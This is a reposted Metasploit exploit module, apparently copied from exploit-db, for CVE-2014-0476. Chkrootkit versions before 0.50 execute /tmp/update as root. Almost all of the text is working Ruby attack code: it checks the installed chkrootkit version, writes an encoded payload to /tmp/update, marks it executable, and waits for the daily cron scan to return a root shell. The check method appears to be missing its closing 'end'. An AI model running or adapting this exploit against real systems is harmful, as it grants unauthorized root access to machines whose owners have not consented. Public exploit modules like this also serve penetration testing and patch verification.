Chkrootkit – Local Privilege Escalation (Metasploit) - 体验盒子

作者： Metasploit

日期： 2015-11-20

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/38775/

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##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class Metasploit4 < Msf::Exploit::Local

# This could also be Excellent, but since it requires

# up to one day to pop a shell, let's set it to Manual instead.

Rank = ManualRanking

include Msf::Post::File

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Chkrootkit Local Privilege Escalation',

'Description'=> %q{

Chkrootkit before 0.50 will run any executable file named

/tmp/update as root, allowing a trivial privsec.

WfsDelay is set to 24h, since this is how often a chkrootkit

scan is scheduled by default.

},

'Author' => [

'Thomas Stangner',# Original exploit

'Julien "jvoisin" Voisin' # Metasploit module

],

'References' => [

['CVE', '2014-0476'],

['OSVDB', '107710'],

['EDB', '33899'],

['BID', '67813'],

['CWE', '20'],

['URL', 'http://seclists.org/oss-sec/2014/q2/430']

],

'DisclosureDate' => 'Jun 04 2014',

'License'=> MSF_LICENSE,

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'SessionTypes' => ['shell', 'meterpreter'],

'Privileged' => true,

'Stance' => Msf::Exploit::Stance::Passive,

'Targets'=> [['Automatic', {}]],

'DefaultTarget'=> 0,

'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h

))

register_options([

OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])

])

end

def check

version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")

if version =~ /chkrootkit version 0\.[1-4]/

Exploit::CheckCode::Appears

else

Exploit::CheckCode::Safe

end

def exploit

print_warning('Rooting depends on the crontab (this could take a while)')

write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")

cmd_exec('chmod +x /tmp/update')

register_file_for_cleanup('/tmp/update')

print_status('Payload written to /tmp/update')

print_status('Waiting for chkrootkit to run via cron...')

end